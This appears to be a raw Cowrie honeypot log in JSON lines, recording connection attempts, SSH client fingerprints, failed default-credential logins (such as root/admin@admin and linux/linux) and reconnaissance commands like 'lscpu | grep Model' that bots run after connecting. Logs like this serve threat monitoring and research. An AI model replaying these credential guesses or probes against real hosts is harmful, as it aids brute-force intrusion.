{"eventid":"cowrie.command.input","input":"lscpu | grep Model","message":"CMD: lscpu | grep Model","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:15:00.067359Z","src_ip":"186.80.18.158","session":"0fa5bf66450d","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","size":26,"shasum":"afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:15:00.148570Z","src_ip":"186.80.18.158","session":"0fa5bf66450d","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:15:00.333518Z","src_ip":"186.80.18.158","session":"0fa5bf66450d","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","message":"CMD: df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:15:00.337277Z","src_ip":"186.80.18.158","session":"0fa5bf66450d","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","size":12,"shasum":"09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:15:00.417681Z","src_ip":"186.80.18.158","session":"0fa5bf66450d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.3","message":"Connection lost after 8.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:15:00.425195Z","src_ip":"186.80.18.158","session":"0fa5bf66450d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.215.102.116","src_port":60554,"dst_ip":"10.17.0.5","dst_port":23,"session":"7b2a75b331d6","protocol":"telnet","message":"New connection: 104.215.102.116:60554 (10.17.0.5:23) [session: 7b2a75b331d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:15:09.523230Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.4.106.201","src_port":50612,"dst_ip":"159.203.135.109","dst_port":22,"session":"0af3dfa9ccca","protocol":"ssh","message":"New connection: 202.4.106.201:50612 (159.203.135.109:22) [session: 0af3dfa9ccca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:15:25.826504Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:15:25.831358Z","src_ip":"202.4.106.201","session":"0af3dfa9ccca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:15:26.086261Z","src_ip":"202.4.106.201","session":"0af3dfa9ccca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin@admin","message":"login attempt [root/admin@admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:15:27.133002Z","src_ip":"202.4.106.201","session":"0af3dfa9ccca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:15:28.388854Z","src_ip":"202.4.106.201","session":"0af3dfa9ccca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.215.102.116","src_port":33114,"dst_ip":"10.17.0.5","dst_port":23,"session":"874b8a94d723","protocol":"telnet","message":"New connection: 104.215.102.116:33114 (10.17.0.5:23) [session: 874b8a94d723]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:15:31.011422Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":55660,"dst_ip":"159.203.135.109","dst_port":22,"session":"e3fd9427d875","protocol":"ssh","message":"New connection: 159.203.92.129:55660 (159.203.135.109:22) [session: e3fd9427d875]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:15:38.081103Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:15:38.087507Z","src_ip":"159.203.92.129","session":"e3fd9427d875","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:15:38.093261Z","src_ip":"159.203.92.129","session":"e3fd9427d875","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"arthur","password":"arthur","message":"login attempt [arthur/arthur] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:15:38.106133Z","src_ip":"159.203.92.129","session":"e3fd9427d875","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":35676,"dst_ip":"159.203.135.109","dst_port":22,"session":"2a184d5f1526","protocol":"ssh","message":"New connection: 122.168.114.167:35676 (159.203.135.109:22) [session: 2a184d5f1526]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:15:38.702363Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:15:38.886364Z","src_ip":"122.168.114.167","session":"2a184d5f1526","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:15:39.074228Z","src_ip":"122.168.114.167","session":"2a184d5f1526","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:15:39.113624Z","src_ip":"159.203.92.129","session":"e3fd9427d875","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.45.177","src_port":28614,"dst_ip":"159.203.135.109","dst_port":22,"session":"5b881f62650f","protocol":"ssh","message":"New connection: 159.223.45.177:28614 (159.203.135.109:22) [session: 5b881f62650f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:15:39.667664Z"}
{"eventid":"cowrie.session.closed","duration":30.522084951400757,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:15:40.045211Z","src_ip":"104.215.102.116","session":"7b2a75b331d6","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"linux","password":"linux","message":"login attempt [linux/linux] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:15:40.527014Z","src_ip":"122.168.114.167","session":"2a184d5f1526","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.4","message":"Connection lost after 3.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:15:42.098665Z","src_ip":"122.168.114.167","session":"2a184d5f1526","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.3","message":"Connection lost after 4.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:15:44.007680Z","src_ip":"159.223.45.177","session":"5b881f62650f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.0011305809021,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:15:44.645612Z","src_ip":"196.41.210.156","session":"e8de778b5f13","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"196.41.210.156","src_port":33444,"dst_ip":"10.17.0.5","dst_port":23,"session":"1af5c512534c","protocol":"telnet","message":"New connection: 196.41.210.156:33444 (10.17.0.5:23) [session: 1af5c512534c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:15:45.632915Z"}
{"eventid":"cowrie.session.connect","src_ip":"186.80.18.158","src_port":40388,"dst_ip":"10.17.0.5","dst_port":22,"session":"81390e836d21","protocol":"ssh","message":"New connection: 186.80.18.158:40388 (10.17.0.5:22) [session: 81390e836d21]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:15:50.773185Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:15:50.778254Z","src_ip":"186.80.18.158","session":"81390e836d21","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:15:50.854410Z","src_ip":"186.80.18.158","session":"81390e836d21","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testuser","password":"abc","message":"login attempt [testuser/abc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:15:51.190104Z","src_ip":"186.80.18.158","session":"81390e836d21","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:15:52.272680Z","src_ip":"186.80.18.158","session":"81390e836d21","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.173.227.163","src_port":34132,"dst_ip":"10.17.0.5","dst_port":23,"session":"6c860dcb8f39","protocol":"telnet","message":"New connection: 185.173.227.163:34132 (10.17.0.5:23) [session: 6c860dcb8f39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:16:01.549284Z"}
{"eventid":"cowrie.session.closed","duration":31.013436555862427,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:16:02.024749Z","src_ip":"104.215.102.116","session":"874b8a94d723","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.173.227.163","src_port":34142,"dst_ip":"10.17.0.5","dst_port":23,"session":"bdbb3601a074","protocol":"telnet","message":"New connection: 185.173.227.163:34142 (10.17.0.5:23) [session: bdbb3601a074]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:16:03.654312Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.173.227.163","src_port":34146,"dst_ip":"10.17.0.5","dst_port":23,"session":"095321f180ee","protocol":"telnet","message":"New connection: 185.173.227.163:34146 (10.17.0.5:23) [session: 095321f180ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:16:03.659870Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.173.227.163","src_port":50960,"dst_ip":"10.17.0.5","dst_port":23,"session":"c30f8527a178","protocol":"telnet","message":"New connection: 185.173.227.163:50960 (10.17.0.5:23) [session: c30f8527a178]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:16:10.761072Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.173.227.163","src_port":51000,"dst_ip":"10.17.0.5","dst_port":23,"session":"42b2966c70a4","protocol":"telnet","message":"New connection: 185.173.227.163:51000 (10.17.0.5:23) [session: 42b2966c70a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:16:14.599483Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.173.227.163","src_port":50990,"dst_ip":"10.17.0.5","dst_port":23,"session":"9cc71062909d","protocol":"telnet","message":"New connection: 185.173.227.163:50990 (10.17.0.5:23) [session: 9cc71062909d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:16:18.637860Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.173.227.163","src_port":50116,"dst_ip":"10.17.0.5","dst_port":23,"session":"85931bb8a60b","protocol":"telnet","message":"New connection: 185.173.227.163:50116 (10.17.0.5:23) [session: 85931bb8a60b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:16:19.034017Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.173.227.163","src_port":50158,"dst_ip":"10.17.0.5","dst_port":23,"session":"ef309c2df291","protocol":"telnet","message":"New connection: 185.173.227.163:50158 (10.17.0.5:23) [session: ef309c2df291]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:16:20.164409Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.173.227.163","src_port":50136,"dst_ip":"10.17.0.5","dst_port":23,"session":"5c53fc79755a","protocol":"telnet","message":"New connection: 185.173.227.163:50136 (10.17.0.5:23) [session: 5c53fc79755a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:16:20.556634Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.215.102.116","src_port":35230,"dst_ip":"10.17.0.5","dst_port":23,"session":"4235c0798f50","protocol":"telnet","message":"New connection: 104.215.102.116:35230 (10.17.0.5:23) [session: 4235c0798f50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:16:22.861912Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":58668,"dst_ip":"159.203.135.109","dst_port":22,"session":"f843813cd28e","protocol":"ssh","message":"New connection: 159.203.92.129:58668 (159.203.135.109:22) [session: f843813cd28e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:16:23.939158Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:16:23.943722Z","src_ip":"159.203.92.129","session":"f843813cd28e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:16:23.948492Z","src_ip":"159.203.92.129","session":"f843813cd28e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aruga","password":"aruga","message":"login attempt [aruga/aruga] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:16:23.958367Z","src_ip":"159.203.92.129","session":"f843813cd28e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:16:24.963906Z","src_ip":"159.203.92.129","session":"f843813cd28e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.215.102.116","src_port":35576,"dst_ip":"10.17.0.5","dst_port":23,"session":"816a972bb8a1","protocol":"telnet","message":"New connection: 104.215.102.116:35576 (10.17.0.5:23) [session: 816a972bb8a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:16:29.502648Z"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":38086,"dst_ip":"159.203.135.109","dst_port":22,"session":"490f808da9fe","protocol":"ssh","message":"New connection: 122.168.114.167:38086 (159.203.135.109:22) [session: 490f808da9fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:16:31.455917Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:16:31.624123Z","src_ip":"122.168.114.167","session":"490f808da9fe","protocol":"ssh"}
